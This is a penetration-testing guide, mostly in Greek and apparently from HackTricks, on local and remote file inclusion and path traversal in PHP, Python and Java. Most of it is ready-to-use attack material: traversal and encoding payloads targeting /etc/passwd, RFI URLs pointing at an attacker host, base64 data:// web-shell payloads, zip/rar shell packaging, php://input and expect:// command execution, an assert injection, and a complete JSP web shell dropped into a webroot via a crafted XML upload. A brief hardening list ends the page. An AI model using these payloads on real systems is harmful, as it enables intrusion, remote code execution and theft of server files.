54 KiB
Raw Blame History

File Inclusion/Path traversal

{{#include ../../banners/hacktricks-training.md}}

File Inclusion

Remote File Inclusion (RFI): Το αρχείο φορτώνεται από απομακρυσμένο διακομιστή (Καλύτερο: μπορείς να γράψεις τον κώδικα και ο διακομιστής θα τον εκτελέσει). Στο php αυτό είναι απενεργοποιημένο από προεπιλογή (allow_url_include).
Local File Inclusion (LFI): Ο διακομιστής φορτώνει ένα τοπικό αρχείο.

Η ευπάθεια εμφανίζεται όταν ο χρήστης μπορεί με κάποιο τρόπο να ελέγξει το αρχείο που πρόκειται να φορτωθεί από τον διακομιστή.

Ευάλωτες PHP functions: require, require_once, include, include_once

Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

*Συνδυάζοντας διάφορες λίστες nix LFI και προσθέτοντας περισσότερες διαδρομές, δημιούργησα αυτή:

{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}}

Δοκιμάστε επίσης να αλλάξετε / για \
Δοκιμάστε επίσης να προσθέσετε ../../../../../

Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξετε αν υπάρχει η ευπάθεια) μπορεί να βρεθεί here

Windows

Συνδυασμός διαφορετικών wordlists:

{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}}

Δοκιμάστε επίσης να αλλάξετε / για \
Δοκιμάστε επίσης να αφαιρέσετε C:/ και να προσθέσετε ../../../../../

Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξετε αν υπάρχει η ευπάθεια) μπορεί να βρεθεί here

OS X

Ελέγξτε τη λίστα LFI του linux.

Basic LFI and bypasses

Όλα τα παραδείγματα είναι για Local File Inclusion αλλά μπορούν επίσης να εφαρμοστούν σε Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences αφαιρούνται μη αναδρομικά

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass της προσθήκης επιπλέον χαρακτήρων στο τέλος της παρεχόμενης συμβολοσειράς (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Αυτό είναι επιλυμένο από το PHP 5.4

Κωδικοποίηση

Μπορείτε να χρησιμοποιήσετε μη τυπικές κωδικοποιήσεις όπως double URL encode (και άλλες):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Από υπάρχον φάκελο

Ίσως το back-end ελέγχει τη διαδρομή του φακέλου:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Εξερεύνηση Δομών του File System σε Διακομιστή

Το file system ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν directories, όχι μόνο αρχεία, εφαρμόζοντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του directory και τον έλεγχο για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω περιγράφεται μια λεπτομερής μέθοδος για να το επιτύχετε:

  1. Προσδιορισμός Βάθους Καταλόγου: Καθορίστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το αρχείο /etc/passwd (εφαρμόζεται αν ο διακομιστής είναι Linux-based). Ένα παράδειγμα URL μπορεί να έχει τη δομή ως εξής, υποδεικνύοντας βάθος τρία:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Ελέγξτε για φακέλους: Προσθέστε το όνομα του ύποπτου φακέλου (π.χ., private) στο URL, στη συνέχεια επιστρέψτε σε /etc/passwd. Το επιπλέον επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Ερμηνεύστε τα Αποτελέσματα: Ο server's response υποδεικνύει αν ο φάκελος υπάρχει:
  • Σφάλμα / Καμία Έξοδος: Ο φάκελος private πιθανότατα δεν υπάρχει στη συγκεκριμένη τοποθεσία.
  • Περιεχόμενα του /etc/passwd: Η παρουσία του φακέλου private επιβεβαιώνεται.
  1. Αναδρομική Εξερεύνηση: Οι εντοπισμένοι φάκελοι μπορούν να ελεγχθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή τις παραδοσιακές μεθόδους Local File Inclusion (LFI).

Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε ανάλογα το payload. Για παράδειγμα, για να ελέγξετε εάν το /var/www/ περιέχει έναν κατάλογο private (υποθέτοντας ότι ο τρέχων κατάλογος βρίσκεται σε βάθος 3), χρησιμοποιήστε:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Η τεχνική Path Truncation χρησιμοποιείται για τον χειρισμό μονοπατιών αρχείων σε web εφαρμογές. Συχνά χρησιμοποιείται για πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των μονοπατιών αρχείων. Ο στόχος είναι να κατασκευαστεί ένα μονοπάτι αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, εξακολουθεί να δείχνει στο επιθυμητό αρχείο.

Στο PHP, διάφορες αναπαραστάσεις ενός μονοπατιού αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:

  • /etc/passwd, /etc//passwd, /etc/./passwd, και /etc/passwd/ αντιμετωπίζονται όλα ως το ίδιο μονοπάτι.
  • Όταν οι τελευταίοι 6 χαρακτήρες είναι passwd, η προσθήκη ενός / (μετατρέποντάς το σε passwd/) δεν αλλάζει το στοχευόμενο αρχείο.
  • Ομοίως, αν το .php προστεθεί σε ένα μονοπάτι αρχείου (π.χ. shellcode.php), η προσθήκη ενός /. στο τέλος δεν θα αλλάξει το αρχείο στο οποίο γίνεται πρόσβαση.

Τα παραδείγματα που δίνονται δείχνουν πώς να χρησιμοποιήσετε την path truncation για πρόσβαση στο /etc/passwd, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Σε αυτά τα σενάρια, ο αριθμός των traversals που απαιτούνται μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του διακομιστή.

  • Using Dot Segments and Additional Characters: Οι traversal sequences (../) σε συνδυασμό με επιπλέον dot segments και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο σύστημα αρχείων, αγνοώντας στην πράξη τις προστιθέμενες από τον server συμβολοσειρές.
  • Determining the Required Number of Traversals: Μέσω δοκιμών και σφαλμάτων, μπορεί κανείς να βρει τον ακριβή αριθμό των ../ sequences που χρειάζονται για να φτάσει στον root κατάλογο και κατόπιν στο /etc/passwd, εξασφαλίζοντας ότι οποιεσδήποτε προστιθέμενες συμβολοσειρές (όπως .php) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (/etc/passwd) παραμένει ανέπαφη.
  • Starting with a Fake Directory: Είναι συνηθισμένη πρακτική να ξεκινάει η διαδρομή με έναν ανύπαρκτο κατάλογο (όπως a/). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιήσει τις απαιτήσεις της λογικής ανάλυσης διαδρομής του server.

Όταν χρησιμοποιούνται τεχνικές path truncation, είναι κρίσιμο να κατανοήσουμε τη συμπεριφορά ανάλυσης διαδρομών του server και τη δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και συχνά είναι απαραίτητες δοκιμές για να βρεθεί η πιο αποτελεσματική μέθοδος.

Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή allow_url_include είναι Off. Πρέπει να είναι On για να λειτουργήσει, και σε αυτή την περίπτωση μπορείτε να συμπεριλάβετε ένα αρχείο PHP από τον server σας και να αποκτήσετε RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Αν για κάποιο λόγο allow_url_include είναι On, αλλά το PHP φιλτράρει την πρόσβαση σε εξωτερικές ιστοσελίδες, σύμφωνα με αυτή την ανάρτηση, μπορείτε να χρησιμοποιήσετε, για παράδειγμα, το πρωτόκολλο data με base64 για να αποκωδικοποιήσετε ένα b64 PHP code και egt RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

Στον προηγούμενο κώδικα, το τελικό +.txt προστέθηκε επειδή ο attacker χρειαζόταν μια συμβολοσειρά που τελείωνε σε .txt, οπότε η συμβολοσειρά τελειώνει με αυτό και μετά το b64 decode εκείνο το μέρος θα επιστρέψει απλώς junk και ο πραγματικός PHP code θα συμπεριληφθεί (και επομένως θα εκτελεστεί).

Ένα άλλο παράδειγμα που δεν χρησιμοποιεί το php:// πρωτόκολλο θα ήταν:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python ριζικό στοιχείο

Στο Python, σε έναν κώδικα όπως ο παρακάτω:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Εάν ο χρήστης περάσει ένα absolute path στο file_name, η previous path απλώς αφαιρείται:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Αυτή είναι η αναμενόμενη συμπεριφορά σύμφωνα με the docs:

Εάν ένα συστατικό είναι απόλυτη διαδρομή, όλα τα προηγούμενα συστατικά απορρίπτονται και η σύνδεση συνεχίζεται από το συστατικό της απόλυτης διαδρομής.

Java Λίστα Καταλόγων

Φαίνεται ότι αν έχεις ένα Path Traversal σε Java και ζητήσεις έναν κατάλογο αντί για αρχείο, θα επιστραφεί μια λίστα του καταλόγου. Αυτό δεν θα συμβαίνει σε άλλες γλώσσες (όσο γνωρίζω).

Κορυφαίες 25 παράμετροι

Ακολουθεί λίστα με τις 25 κορυφαίες παραμέτρους που μπορεί να είναι ευάλωτες σε local file inclusion (LFI) ευπάθειες (από link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI χρησιμοποιώντας PHP wrappers & protocols

php://filter

Τα PHP φίλτρα επιτρέπουν την εκτέλεση βασικών λειτουργιών τροποποίησης στα δεδομένα πριν αυτά διαβαστούν ή γραφτούν. Υπάρχουν 5 κατηγορίες φίλτρων:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Αφαιρεί tags από τα δεδομένα (ό,τι βρίσκεται μεταξύ των χαρακτήρων "<" και ">")
  • Σημειώστε ότι αυτό το φίλτρο έχει εξαφανιστεί από τις σύγχρονες εκδόσεις του PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Μετατρέπει σε διαφορετική κωδικοποίηση(convert.iconv.<input_enc>.<output_enc>). Για να λάβετε τη λίστα όλων των κωδικοποιήσεων που υποστηρίζονται, τρέξτε στην κονσόλα: iconv -l

Warning

Κακοποιώντας το φίλτρο μετατροπής convert.iconv.* μπορείτε να παράγετε αυθαίρετο κείμενο, κάτι που μπορεί να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια συνάρτηση όπως το include να επεξεργάζεται αυθαίρετο κείμενο. Για περισσότερες πληροφορίες δείτε LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Συμπιέζει το περιεχόμενο (χρήσιμο εάν εξάγετε πολλά δεδομένα)
  • zlib.inflate: Αποσυμπιέζει τα δεδομένα
  • Encryption Filters
  • mcrypt.* : Αποσυρμένο
  • mdecrypt.* : Αποσυρμένο
  • Άλλα φίλτρα
  • Τρέχοντας στο php var_dump(stream_get_filters()); μπορείτε να βρείτε μερικά απροσδόκητα φίλτρα:
  • consumed
  • dechunk: αντιστρέφει το HTTP chunked encoding
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

Το μέρος "php://filter" δεν κάνει διάκριση πεζών/κεφαλαίων

Using php filters as oracle to read arbitrary files

In this post προτείνεται μια τεχνική για να διαβαστεί ένα τοπικό αρχείο χωρίς να επιστραφεί το output από τον server. Αυτή η τεχνική βασίζεται σε μια boolean exfiltration of the file (char by char) using php filters ως oracle. Αυτό συμβαίνει επειδή php filters μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε να προκαλέσει το php να ρίξει μια εξαίρεση.

Στην αρχική ανάρτηση θα βρείτε λεπτομερή εξήγηση της τεχνικής, αλλά εδώ είναι μια σύντομη περίληψη:

  • Use the codec UCS-4LE to leave leading character of the text at the begging and make the size of string increases exponentially.
    • Χρησιμοποιήστε τον codec UCS-4LE για να διατηρήσετε τον αρχικό χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.
  • This will be used to generate a text so big when the initial letter is guessed correctly that php will trigger an error
    • Αυτό θα χρησιμοποιηθεί για να δημιουργήσει ένα κείμενο τόσο μεγάλο όταν ο αρχικός χαρακτήρας μαντευτεί σωστά ώστε το php να ενεργοποιήσει ένα σφάλμα
  • The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
    • Το φίλτρο dechunk θα αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι hex, οπότε μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι hex.
  • This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
    • Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντευμένο γράμμα), μας επιτρέπει να μαντέψουμε έναν χαρακτήρα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετούς μετασχηματισμούς ώστε να μην είναι πλέον ένας hexadecimal χαρακτήρας. Εφόσον είναι hex, το dechunk δεν θα τον διαγράψει και η αρχική «βόμβα» θα προκαλέσει php σφάλμα.
  • The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an a for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
    • Ο codec convert.iconv.UNICODE.CP930 μετασχηματίζει κάθε γράμμα στο επόμενο (οπότε μετά από αυτόν τον codec: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν ο πρώτος χαρακτήρας είναι a, γιατί αν εφαρμόσουμε 6 φορές αυτόν τον codec: a->b->c->d->e->f->g, το γράμμα δεν είναι πλέον hex, επομένως το dechunk δεν το διαγράφει και το php σφάλμα ενεργοποιείται λόγω του πολλαπλασιασμού με την αρχική «βόμβα».
  • Using other transformations like rot13 at the beginning its possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
    • Χρησιμοποιώντας άλλους μετασχηματισμούς όπως rot13 στην αρχή, είναι δυνατό να leak άλλα chars όπως n, o, p, q, r (και άλλοι codecs μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο hex range).
  • When the initial char is a number its needed to base64 encode it and leak the 2 first letters to leak the number.
    • Όταν ο αρχικός χαρακτήρας είναι αριθμός χρειάζεται να γίνει base64 encode και να leak τα 2 πρώτα γράμματα για να leak τον αριθμό.
  • The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
    • Το τελικό πρόβλημα είναι να δούμε πώς να leak περισσότερα από τον αρχικό χαρακτήρα. Χρησιμοποιώντας order memory filters όπως convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE είναι δυνατό να αλλάξουμε τη σειρά των χαρακτήρων και να φέρουμε στην πρώτη θέση άλλα γράμματα του κειμένου.
  • And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
    • Και για να μπορέσουμε να πάρουμε further data η ιδέα είναι να παράξουμε 2 bytes junk data στην αρχή με convert.iconv.UTF16.UTF16, να εφαρμόσουμε UCS-4LE ώστε να γίνει pivot με τα επόμενα 2 bytes, και να διαγράψουμε τα δεδομένα μέχρι τα junk data (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε έτσι μέχρι να φτάσετε στο επιθυμητό bit για leak.

Στην ανάρτηση υπάρχει επίσης ένα εργαλείο για αυτόματη εκτέλεση: php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Μπορείτε επίσης να χρησιμοποιήσετε php://stdin, php://stdout and php://stderr για να αποκτήσετε πρόσβαση στα file descriptors 0, 1 and 2 αντίστοιχα (δεν είναι σαφές πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση)

zip:// και rar://

Ανεβάστε ένα Zip ή Rar αρχείο με ένα PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό.
Για να μπορείτε να εκμεταλλευτείτε το rar protocol, πρέπει να ενεργοποιηθεί ειδικά.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Σημειώστε ότι αυτό το πρωτόκολλο περιορίζεται από τις ρυθμίσεις php allow_url_open και allow_url_include

expect://

Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας το εξής:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Καθορίστε το payload σας στις παραμέτρους POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Ένα αρχείο .phar μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια web εφαρμογή αξιοποιεί συναρτήσεις όπως την include για τη φόρτωση αρχείων. Το παρακάτω απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Για να μεταγλωττιστεί το αρχείο .phar, πρέπει να εκτελεστεί η ακόλουθη εντολή:

php --define phar.readonly=0 create_path.php

Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα test.phar, το οποίο θα μπορούσε ενδεχομένως να χρησιμοποιηθεί για την εκμετάλλευση ευπαθειών Local File Inclusion (LFI).

Σε περιπτώσεις όπου το LFI απλώς διαβάζει αρχεία χωρίς να εκτελεί τον PHP κώδικα που περιέχουν — μέσω συναρτήσεων όπως file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ή filesize() — μπορεί να επιχειρηθεί η εκμετάλλευση μίας ευπάθειας αποσειριοποίησης. Αυτή η ευπάθεια σχετίζεται με την ανάγνωση αρχείων χρησιμοποιώντας το πρωτόκολλο phar.

Για λεπτομερή κατανόηση της εκμετάλλευσης ευπαθειών αποσειριοποίησης στο πλαίσιο αρχείων .phar, ανατρέξτε στο έγγραφο που συνδέεται παρακάτω:

Phar Deserialization Exploitation Guide

{{#ref}} phar-deserialization.md {{#endref}}

CVE-2024-2961

Ήταν εφικτό να εκμεταλλευτεί κανείς οποιοδήποτε αυθαίρετο αρχείο που διαβάζεται από PHP και υποστηρίζει php filters για να αποκτήσει RCE. Η λεπτομερής περιγραφή μπορεί να βρεθεί σε αυτήν την ανάρτηση.
Πολύ σύντομη περίληψη: μια υπερροή 3 byte στη μνήμη heap του PHP εκμεταλλεύτηκε για να αλλάξει την αλυσίδα των ελεύθερων chunks ενός συγκεκριμένου μεγέθους ώστε να είναι δυνατή η εγγραφή οτιδήποτε σε οποιαδήποτε διεύθυνση, έτσι προστέθηκε ένα hook για να καλεί system.
Μπορούσε να γίνει allocation chunks συγκεκριμένων μεγεθών με την κατάχρηση επιπλέον php filters.

Περισσότερα πρωτόκολλα

Δείτε περισσότερα πιθανά protocols to include here:

  • php://memory and php://temp — Γράφει στη μνήμη ή σε προσωρινό αρχείο (δεν είμαι σίγουρος πώς αυτό μπορεί να είναι χρήσιμο σε μια file inclusion attack)
  • file:// — Πρόσβαση στο τοπικό filesystem
  • http:// — Πρόσβαση σε HTTP(s) URLs
  • ftp:// — Πρόσβαση σε FTP(s) URLs
  • zlib:// — Ροές συμπίεσης
  • glob:// — Εύρεση ονομάτων διαδρομών που ταιριάζουν με πρότυπο (δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
  • ssh2:// — Secure Shell 2
  • ogg:// — Ροές ήχου (Δεν είναι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)

LFI via PHP's 'assert'

Οι κίνδυνοι από Local File Inclusion (LFI) σε PHP είναι αξιοσημείωτα υψηλοί όταν χειριζόμαστε τη συνάρτηση 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό αν ελέγχεται είσοδος που περιέχει χαρακτήρες directory traversal όπως ".." αλλά δεν φιλτράρεται σωστά.

Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί να αποτρέπει directory traversal ως εξής:

assert("strpos('$file', '..') === false") or die("");

Ενώ αυτό στοχεύει στο να σταματήσει το traversal, δημιουργεί άθελά του ένα διάνυσμα για code injection. Για να εκμεταλλευτεί αυτό για ανάγνωση περιεχομένου αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:

' and die(highlight_file('/etc/passwd')) or '

Ομοίως, για την εκτέλεση αυθαίρετων εντολών συστήματος, κάποιος μπορεί να χρησιμοποιήσει:

' and die(system("id")) or '

It's important to URL-encode these payloads.

PHP Blind Path Traversal

Warning

Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου εσείς ελέγχετε την διαδρομή αρχείου μιας συνάρτησης PHP που θα προσπελάσει ένα αρχείο αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση στο file()) και το περιεχόμενο δεν εμφανίζεται.

In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

As sumary, the technique is using the "UCS-4LE" encoding to make the content of a file so big that the PHP function opening the file will trigger an error.

Then, in order to leak the first char the filter dechunk is used along with other such as base64 or rot13 and finally the filters convert.iconv.UCS-4.UCS-4LE and convert.iconv.UTF16.UTF-16BE are used to place other chars at the beggining and leak them.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.

Τυπική ροή εκμετάλλευσης:

  • Εντοπίστε ένα write primitive σε ένα endpoint ή background worker που αποδέχεται ένα path/filename και γράφει περιεχόμενο στο disk (π.χ., message-driven ingestion, XML/JSON command handlers, ZIP extractors, κ.λπ.).
  • Προσδιορίστε web-exposed directories. Συνηθισμένα παραδείγματα:
    • Apache/PHP: /var/www/html/
    • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
    • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Δημιουργήστε μια traversal διαδρομή που σπάει έξω από τον προοριζόμενο storage κατάλογο προς το webroot, και συμπεριλάβετε το webshell περιεχόμενό σας.
  • Πλοηγηθείτε στο dropped payload και εκτελέστε εντολές.

Σημειώσεις:

  • Η ευάλωτη υπηρεσία που εκτελεί το write ίσως ακούει σε ένα non-HTTP port (π.χ., ένας JMF XML listener στο TCP 4004). Το κύριο web portal (διαφορετική θύρα) θα εξυπηρετήσει αργότερα το payload σας.
  • Σε Java stacks, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή File/Paths concatenation. Η έλλειψη canonicalisation/allow-listing είναι το βασικό σφάλμα.

Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Ενίσχυση ασφαλείας που εξουδετερώνει αυτήν την κατηγορία ευπαθειών:

  • Επίλυση σε κανονική διαδρομή και εξασφάλιση ότι είναι απόγονος ενός βασικού καταλόγου που περιλαμβάνεται στη λίστα επιτρεπόμενων.
  • Απόρριψη οποιασδήποτε διαδρομής που περιέχει .., απόλυτες ρίζες, ή γράμματα δίσκου; προτιμήστε παραγόμενα ονόματα αρχείων.
